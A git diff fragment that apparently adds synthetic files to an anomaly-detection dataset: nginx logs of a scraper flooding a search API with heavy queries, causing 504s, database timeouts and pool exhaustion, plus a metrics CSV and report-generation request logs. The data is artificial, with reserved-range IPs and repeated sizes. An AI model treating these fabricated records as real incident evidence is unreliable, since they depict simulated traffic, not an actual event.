338 "-" "Scraper/1.0" +Aug 15 14:36:23 web-app-nginx 53.42.60.52 - - [15/Aug/2025:14:36:23 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 262 "-" "Scraper/1.0" +Aug 15 14:36:23 web-app-nginx 121.83.27.196 - - [15/Aug/2025:14:36:23 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 372 "-" "Scraper/1.0" +Aug 15 14:36:22 web-app-nginx 174.201.222.175 - - [15/Aug/2025:14:36:22 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 343 "-" "Scraper/1.0" +Aug 15 14:36:20 web-app-nginx 140.102.253.214 - - [15/Aug/2025:14:36:20 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 385 "-" "Scraper/1.0" +Aug 15 14:36:28 web-app-nginx 196.18.199.166 - - [15/Aug/2025:14:36:28 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 114 "-" "Scraper/1.0" +Aug 15 14:36:25 web-app-nginx 84.208.12.51 - - [15/Aug/2025:14:36:25 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 480 "-" "Scraper/1.0" +Aug 15 14:36:25 web-app-nginx 10.189.20.204 - - [15/Aug/2025:14:36:25 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 343 "-" "Scraper/1.0" +Aug 15 14:36:29 web-app-nginx 171.172.128.32 - - [15/Aug/2025:14:36:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 465 "-" "Scraper/1.0" +Aug 15 14:36:29 web-app-nginx 44.12.154.208 - - [15/Aug/2025:14:36:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 230 "-" "Scraper/1.0" +Aug 15 14:36:28 web-app-nginx 110.237.117.84 - - [15/Aug/2025:14:36:28 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 264 "-" "Scraper/1.0" +Aug 15 14:36:26 web-app-nginx 101.253.146.21 - - [15/Aug/2025:14:36:26 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 109 "-" "Scraper/1.0" +Aug 15 14:36:27 web-app-nginx 67.184.161.20 - - [15/Aug/2025:14:36:27 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 213 "-" "Scraper/1.0" +Aug 15 14:36:27 web-app-nginx 109.203.129.196 - - [15/Aug/2025:14:36:27 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 393 "-" "Scraper/1.0" +Aug 15 14:36:29 web-app[3456]: ERROR: Database connection timeout +Aug 15 14:36:34 web-app-nginx 93.28.33.19 - - [15/Aug/2025:14:36:34 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 447 "-" "Scraper/1.0" +Aug 15 14:36:34 web-app-nginx 197.30.251.43 - - [15/Aug/2025:14:36:34 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 281 "-" "Scraper/1.0" +Aug 15 14:36:33 web-app-nginx 247.219.121.178 - - [15/Aug/2025:14:36:33 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 385 "-" "Scraper/1.0" +Aug 15 14:36:32 web-app-nginx 187.23.96.156 - - [15/Aug/2025:14:36:32 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 386 "-" "Scraper/1.0" +Aug 15 14:36:34 web-app-nginx 90.187.54.102 - - [15/Aug/2025:14:36:34 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 104 "-" "Scraper/1.0" +Aug 15 14:36:31 web-app-nginx 139.44.208.96 - - [15/Aug/2025:14:36:31 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 373 "-" "Scraper/1.0" +Aug 15 14:36:30 web-app-nginx 82.93.107.66 - - [15/Aug/2025:14:36:30 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 376 "-" "Scraper/1.0" +Aug 15 14:36:30 web-app-nginx 48.88.150.178 - - [15/Aug/2025:14:36:30 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 339 "-" "Scraper/1.0" +Aug 15 14:36:33 web-app-nginx 83.106.32.193 - - [15/Aug/2025:14:36:33 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 160 "-" "Scraper/1.0" +Aug 15 14:36:33 web-app-nginx 39.24.77.148 - - [15/Aug/2025:14:36:33 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 218 "-" "Scraper/1.0" +Aug 15 14:36:30 web-app-nginx 61.48.77.87 - - [15/Aug/2025:14:36:30 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 165 "-" "Scraper/1.0" +Aug 15 14:36:37 web-app-nginx 242.250.63.209 - - [15/Aug/2025:14:36:37 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 475 "-" "Scraper/1.0" +Aug 15 14:36:35 web-app-nginx 60.202.242.1 - - [15/Aug/2025:14:36:35 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 496 "-" "Scraper/1.0" +Aug 15 14:36:36 web-app-nginx 117.238.55.139 - - [15/Aug/2025:14:36:36 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 324 "-" "Scraper/1.0" +Aug 15 14:36:38 web-app-nginx 198.248.136.37 - - [15/Aug/2025:14:36:38 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 462 "-" "Scraper/1.0" +Aug 15 14:36:37 web-app-nginx 242.26.20.119 - - [15/Aug/2025:14:36:37 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 479 "-" "Scraper/1.0" +Aug 15 14:36:37 web-app-nginx 66.25.190.68 - - [15/Aug/2025:14:36:37 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 405 "-" "Scraper/1.0" +Aug 15 14:36:36 web-app-nginx 93.233.111.136 - - [15/Aug/2025:14:36:36 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 309 "-" "Scraper/1.0" +Aug 15 14:36:39 web-app-nginx 105.20.37.1 - - [15/Aug/2025:14:36:39 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 268 "-" "Scraper/1.0" +Aug 15 14:36:35 web-app-nginx 75.111.162.112 - - [15/Aug/2025:14:36:35 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 229 "-" "Scraper/1.0" +Aug 15 14:36:37 web-app-nginx 124.131.15.131 - - [15/Aug/2025:14:36:37 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 334 "-" "Scraper/1.0" +Aug 15 14:36:37 web-app-nginx 249.216.205.147 - - [15/Aug/2025:14:36:37 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 267 "-" "Scraper/1.0" +Aug 15 14:36:36 web-app-nginx 73.228.143.210 - - [15/Aug/2025:14:36:36 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 322 "-" "Scraper/1.0" +2025-08-15T14:36:39.510Z 1024 [Warning] Aborted connection 1024 to db: 'webapp_db' user: 'webapp_user' host: '172.17.0.1' (Got timeout writing communication packets) +Aug 15 14:36:44 web-app-nginx 175.227.252.161 - - [15/Aug/2025:14:36:44 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 302 "-" "Scraper/1.0" +Aug 15 14:36:41 web-app-nginx 130.34.235.25 - - [15/Aug/2025:14:36:41 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 487 "-" "Scraper/1.0" +Aug 15 14:36:43 web-app-nginx 193.219.76.55 - - [15/Aug/2025:14:36:43 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 373 "-" "Scraper/1.0" +Aug 15 14:36:42 web-app-nginx 146.131.59.88 - - [15/Aug/2025:14:36:42 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 367 "-" "Scraper/1.0" +Aug 15 14:36:40 web-app-nginx 161.205.104.98 - - [15/Aug/2025:14:36:40 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 260 "-" "Scraper/1.0" +Aug 15 14:36:42 web-app-nginx 143.69.123.217 - - [15/Aug/2025:14:36:42 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 231 "-" "Scraper/1.0" +Aug 15 14:36:40 web-app-nginx 108.49.16.248 - - [15/Aug/2025:14:36:40 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 492 "-" "Scraper/1.0" +Aug 15 14:36:43 web-app-nginx 48.16.158.38 - - [15/Aug/2025:14:36:43 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 465 "-" "Scraper/1.0" +Aug 15 14:36:41 web-app-nginx 134.176.212.227 - - [15/Aug/2025:14:36:41 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 355 "-" "Scraper/1.0" +Aug 15 14:36:42 web-app-nginx 176.213.5.178 - - [15/Aug/2025:14:36:42 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 191 "-" "Scraper/1.0" +Aug 15 14:36:42 web-app-nginx 210.184.52.72 - - [15/Aug/2025:14:36:42 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 396 "-" "Scraper/1.0" +Aug 15 14:36:43 web-app[3456]: ERROR: Maximum execution time of 300 seconds exceeded +Aug 15 14:36:47 web-app-nginx 194.39.215.152 - - [15/Aug/2025:14:36:47 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 324 "-" "Scraper/1.0" +Aug 15 14:36:47 web-app-nginx 229.156.44.23 - - [15/Aug/2025:14:36:47 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 454 "-" "Scraper/1.0" +Aug 15 14:36:48 web-app-nginx 188.193.11.157 - - [15/Aug/2025:14:36:48 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 499 "-" "Scraper/1.0" +Aug 15 14:36:48 web-app-nginx 154.138.101.190 - - [15/Aug/2025:14:36:48 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 338 "-" "Scraper/1.0" +Aug 15 14:36:48 web-app-nginx 185.231.82.185 - - [15/Aug/2025:14:36:48 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 125 "-" "Scraper/1.0" +Aug 15 14:36:45 web-app-nginx 15.133.225.32 - - [15/Aug/2025:14:36:45 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 215 "-" "Scraper/1.0" +Aug 15 14:36:46 web-app-nginx 128.68.230.229 - - [15/Aug/2025:14:36:46 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 121 "-" "Scraper/1.0" +Aug 15 14:36:48 web-app-nginx 109.173.149.201 - - [15/Aug/2025:14:36:48 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 151 "-" "Scraper/1.0" +Aug 15 14:36:54 web-app-nginx 177.183.183.221 - - [15/Aug/2025:14:36:54 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 355 "-" "Scraper/1.0" +Aug 15 14:36:52 web-app-nginx 189.218.190.30 - - [15/Aug/2025:14:36:52 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 206 "-" "Scraper/1.0" +Aug 15 14:36:53 web-app-nginx 208.187.47.144 - - [15/Aug/2025:14:36:53 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 387 "-" "Scraper/1.0" +Aug 15 14:36:53 web-app-nginx 239.36.241.20 - - [15/Aug/2025:14:36:53 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 124 "-" "Scraper/1.0" +Aug 15 14:36:53 web-app-nginx 8.185.119.66 - - [15/Aug/2025:14:36:53 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 493 "-" "Scraper/1.0" +Aug 15 14:36:51 web-app-nginx 102.133.198.96 - - [15/Aug/2025:14:36:51 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 312 "-" "Scraper/1.0" +Aug 15 14:36:50 web-app-nginx 123.122.84.102 - - [15/Aug/2025:14:36:50 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 370 "-" "Scraper/1.0" +Aug 15 14:36:54 web-app-nginx 138.253.5.127 - - [15/Aug/2025:14:36:54 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 467 "-" "Scraper/1.0" +Aug 15 14:36:52 web-app-nginx 244.52.213.47 - - [15/Aug/2025:14:36:52 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 361 "-" "Scraper/1.0" +Aug 15 14:36:53 web-app-nginx 46.95.225.166 - - [15/Aug/2025:14:36:53 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 205 "-" "Scraper/1.0" +Aug 15 14:36:54 web-app-nginx 45.68.166.207 - - [15/Aug/2025:14:36:54 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 213 "-" "Scraper/1.0" +Aug 15 14:36:54 web-app-nginx 161.87.137.214 - - [15/Aug/2025:14:36:54 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 148 "-" "Scraper/1.0" +Aug 15 14:36:53 web-app-nginx 85.28.75.248 - - [15/Aug/2025:14:36:53 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 375 "-" "Scraper/1.0" +Aug 15 14:36:52 web-app-nginx 48.60.28.53 - - [15/Aug/2025:14:36:52 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 467 "-" "Scraper/1.0" +Aug 15 14:36:55 web-app-nginx 253.46.61.146 - - [15/Aug/2025:14:36:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 308 "-" "Scraper/1.0" +Aug 15 14:36:59 web-app-nginx 92.31.63.161 - - [15/Aug/2025:14:36:59 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 303 "-" "Scraper/1.0" +Aug 15 14:36:56 web-app-nginx 249.71.108.229 - - [15/Aug/2025:14:36:56 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 339 "-" "Scraper/1.0" +Aug 15 14:36:59 web-app-nginx 49.164.110.153 - - [15/Aug/2025:14:36:59 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 255 "-" "Scraper/1.0" +Aug 15 14:36:59 web-app-nginx 172.184.197.202 - - [15/Aug/2025:14:36:59 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 319 "-" "Scraper/1.0" +Aug 15 14:36:58 web-app-nginx 2.123.241.181 - - [15/Aug/2025:14:36:58 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 384 "-" "Scraper/1.0" +Aug 15 14:36:59 web-app-nginx 207.152.80.145 - - [15/Aug/2025:14:36:59 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 410 "-" "Scraper/1.0" +Aug 15 14:36:59 web-app-nginx 173.102.176.241 - - [15/Aug/2025:14:36:59 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 194 "-" "Scraper/1.0" +Aug 15 14:36:57 web-app-nginx 186.151.47.38 - - [15/Aug/2025:14:36:57 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 108 "-" "Scraper/1.0" +Aug 15 14:36:59 web-app-nginx 55.186.82.72 - - [15/Aug/2025:14:36:59 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 150 "-" "Scraper/1.0" +Aug 15 14:36:59 web-app[3456]: ERROR: Database connection timeout +Aug 15 14:37:00 web-app-nginx 135.43.235.233 - - [15/Aug/2025:14:37:00 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 352 "-" "Scraper/1.0" +Aug 15 14:37:00 web-app-nginx 53.203.55.177 - - [15/Aug/2025:14:37:00 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 317 "-" "Scraper/1.0" +Aug 15 14:37:00 web-app-nginx 191.186.80.215 - - [15/Aug/2025:14:37:00 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 217 "-" "Scraper/1.0" +Aug 15 14:37:02 web-app-nginx 145.141.118.250 - - [15/Aug/2025:14:37:02 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 154 "-" "Scraper/1.0" +Aug 15 14:37:04 web-app-nginx 253.110.75.193 - - [15/Aug/2025:14:37:04 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 473 "-" "Scraper/1.0" +Aug 15 14:37:02 web-app-nginx 64.240.118.146 - - [15/Aug/2025:14:37:02 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 438 "-" "Scraper/1.0" +Aug 15 14:37:03 web-app-nginx 114.20.54.235 - - [15/Aug/2025:14:37:03 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 284 "-" "Scraper/1.0" +Aug 15 14:37:03 web-app-nginx 104.32.70.205 - - [15/Aug/2025:14:37:03 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 166 "-" "Scraper/1.0" +2025-08-15T14:37:04.745Z 1024 [Warning] Aborted connection 1024 to db: 'webapp_db' user: 'webapp_user' host: '172.17.0.1' (Got timeout writing communication packets) +Aug 15 14:37:06 web-app-nginx 93.217.166.142 - - [15/Aug/2025:14:37:06 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 409 "-" "Scraper/1.0" +Aug 15 14:37:06 web-app-nginx 34.247.85.232 - - [15/Aug/2025:14:37:06 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 264 "-" "Scraper/1.0" +Aug 15 14:37:06 web-app-nginx 29.34.67.139 - - [15/Aug/2025:14:37:06 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 201 "-" "Scraper/1.0" +Aug 15 14:37:08 web-app-nginx 160.179.111.218 - - [15/Aug/2025:14:37:08 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 168 "-" "Scraper/1.0" +Aug 15 14:37:06 web-app-nginx 207.132.234.180 - - [15/Aug/2025:14:37:06 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 271 "-" "Scraper/1.0" +Aug 15 14:37:09 web-app-nginx 60.45.95.1 - - [15/Aug/2025:14:37:09 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 293 "-" "Scraper/1.0" +Aug 15 14:37:08 web-app-nginx 101.149.210.150 - - [15/Aug/2025:14:37:08 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 235 "-" "Scraper/1.0" +Aug 15 14:37:08 web-app-nginx 135.217.177.254 - - [15/Aug/2025:14:37:08 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 135 "-" "Scraper/1.0" +Aug 15 14:37:06 web-app-nginx 70.50.205.205 - - [15/Aug/2025:14:37:06 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 221 "-" "Scraper/1.0" +Aug 15 14:37:07 web-app-nginx 214.223.82.99 - - [15/Aug/2025:14:37:07 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 240 "-" "Scraper/1.0" +Aug 15 14:37:06 web-app-nginx 60.63.192.150 - - [15/Aug/2025:14:37:06 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 361 "-" "Scraper/1.0" +Aug 15 14:37:10 web-app-nginx 57.132.162.22 - - [15/Aug/2025:14:37:10 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 125 "-" "Scraper/1.0" +Aug 15 14:37:12 web-app-nginx 40.56.189.227 - - [15/Aug/2025:14:37:12 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 220 "-" "Scraper/1.0" +Aug 15 14:37:11 web-app-nginx 242.92.217.71 - - [15/Aug/2025:14:37:11 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 407 "-" "Scraper/1.0" +Aug 15 14:37:14 web-app-nginx 124.142.8.100 - - [15/Aug/2025:14:37:14 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 264 "-" "Scraper/1.0" +Aug 15 14:37:12 web-app-nginx 26.103.117.95 - - [15/Aug/2025:14:37:12 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 304 "-" "Scraper/1.0" +Aug 15 14:37:11 web-app-nginx 44.45.183.36 - - [15/Aug/2025:14:37:11 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 492 "-" "Scraper/1.0" +Aug 15 14:37:12 web-app-nginx 120.127.246.1 - - [15/Aug/2025:14:37:12 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 388 "-" "Scraper/1.0" +Aug 15 14:37:12 web-app-nginx 184.103.37.32 - - [15/Aug/2025:14:37:12 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 416 "-" "Scraper/1.0" +Aug 15 14:37:14 web-app-nginx 169.57.143.160 - - [15/Aug/2025:14:37:14 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 296 "-" "Scraper/1.0" +Aug 15 14:37:13 web-app-nginx 245.200.173.109 - - [15/Aug/2025:14:37:13 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 419 "-" "Scraper/1.0" +Aug 15 14:37:13 web-app[3456]: CRITICAL: Connection pool exhausted +Aug 15 14:37:19 web-app-nginx 154.85.144.141 - - [15/Aug/2025:14:37:19 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 453 "-" "Scraper/1.0" +Aug 15 14:37:16 web-app-nginx 5.179.236.119 - - [15/Aug/2025:14:37:16 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 444 "-" "Scraper/1.0" +Aug 15 14:37:18 web-app-nginx 163.139.196.107 - - [15/Aug/2025:14:37:18 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 202 "-" "Scraper/1.0" +Aug 15 14:37:18 web-app-nginx 19.87.190.7 - - [15/Aug/2025:14:37:18 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 470 "-" "Scraper/1.0" +Aug 15 14:37:19 web-app-nginx 221.182.80.30 - - [15/Aug/2025:14:37:19 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 402 "-" "Scraper/1.0" +Aug 15 14:37:17 web-app-nginx 100.254.127.93 - - [15/Aug/2025:14:37:17 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 142 "-" "Scraper/1.0" +Aug 15 14:37:15 web-app-nginx 179.219.45.168 - - [15/Aug/2025:14:37:15 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 306 "-" "Scraper/1.0" +Aug 15 14:37:18 web-app-nginx 189.109.157.126 - - [15/Aug/2025:14:37:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 203 "-" "Scraper/1.0" +Aug 15 14:37:18 web-app-nginx 206.155.39.135 - - [15/Aug/2025:14:37:18 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 263 "-" "Scraper/1.0" +Aug 15 14:37:19 web-app-nginx 235.119.32.134 - - [15/Aug/2025:14:37:19 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 227 "-" "Scraper/1.0" +Aug 15 14:37:20 web-app-nginx 131.206.40.14 - - [15/Aug/2025:14:37:20 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 235 "-" "Scraper/1.0" +Aug 15 14:37:22 web-app-nginx 135.54.18.66 - - [15/Aug/2025:14:37:22 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 307 "-" "Scraper/1.0" +Aug 15 14:37:21 web-app-nginx 216.72.66.31 - - [15/Aug/2025:14:37:21 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 386 "-" "Scraper/1.0" +Aug 15 14:37:24 web-app-nginx 107.31.167.244 - - [15/Aug/2025:14:37:24 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 101 "-" "Scraper/1.0" +Aug 15 14:37:21 web-app-nginx 217.99.110.73 - - [15/Aug/2025:14:37:21 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 258 "-" "Scraper/1.0" +Aug 15 14:37:22 web-app-nginx 51.10.202.6 - - [15/Aug/2025:14:37:22 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 347 "-" "Scraper/1.0" +Aug 15 14:37:20 web-app-nginx 41.138.65.236 - - [15/Aug/2025:14:37:20 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 459 "-" "Scraper/1.0" +Aug 15 14:37:21 web-app-nginx 207.15.101.36 - - [15/Aug/2025:14:37:21 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 195 "-" "Scraper/1.0" +Aug 15 14:37:23 web-app-nginx 111.249.73.220 - - [15/Aug/2025:14:37:23 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 431 "-" "Scraper/1.0" diff --git a/mali_dataset/scenario_12/mali_12_6.csv b/mali_dataset/scenario_12/mali_12_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..2c79a87214171728ebfa04d55739ca983b183b16 --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,17.16,42.34,33.14,1.39,1.47 +2025-08-15T10:00:05Z,29.26,40.49,38.97,0.9,0.83 +2025-08-15T10:00:10Z,22.69,44.34,29.77,1.38,1.42 +2025-08-15T10:00:15Z,17.65,44.89,35.33,0.84,1.13 +2025-08-15T10:00:20Z,19.49,45.92,22.24,1.24,1.1 +2025-08-15T10:00:25Z,28.63,47.12,21.44,1.34,0.94 +2025-08-15T10:00:30Z,29.59,40.7,30.5,1.4,0.97 +2025-08-15T10:00:35Z,25.65,50.0,35.17,1.27,1.06 +2025-08-15T10:00:40Z,29.48,46.77,28.59,1.39,1.27 +2025-08-15T10:00:45Z,24.13,47.33,38.6,1.03,1.48 +2025-08-15T10:00:50Z,26.68,40.98,25.63,0.99,1.2 +2025-08-15T10:00:55Z,21.47,48.56,32.63,1.3,1.11 +2025-08-15T10:01:00Z,20.72,46.8,30.4,1.24,1.1 +2025-08-15T10:01:05Z,25.13,48.58,37.44,1.09,1.23 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0000000000000000000000000000000000000000..29b92a985f8b74b65579c2a3251a63cc95a0be5a --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_6.log @@ -0,0 +1,522 @@ +188.163.101.66 - - [15/Aug/2025:10:02:55 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.101.66 - - [15/Aug/2025:10:03:10 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.101.66 - - [15/Aug/2025:10:04:30 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.101.66 - - [15/Aug/2025:10:04:30 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.101.66 - - [15/Aug/2025:10:05:45 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.101.66 - - [15/Aug/2025:10:06:35 +0000] "POST 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[15/Aug/2025:10:02:30 +0000] "POST /api/v1/reports/generate?type=user_analytics&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:02:40 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:02:50 +0000] "POST /api/v1/reports/generate?type=user_analytics&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:02:55 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:04:30 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:05:15 +0000] 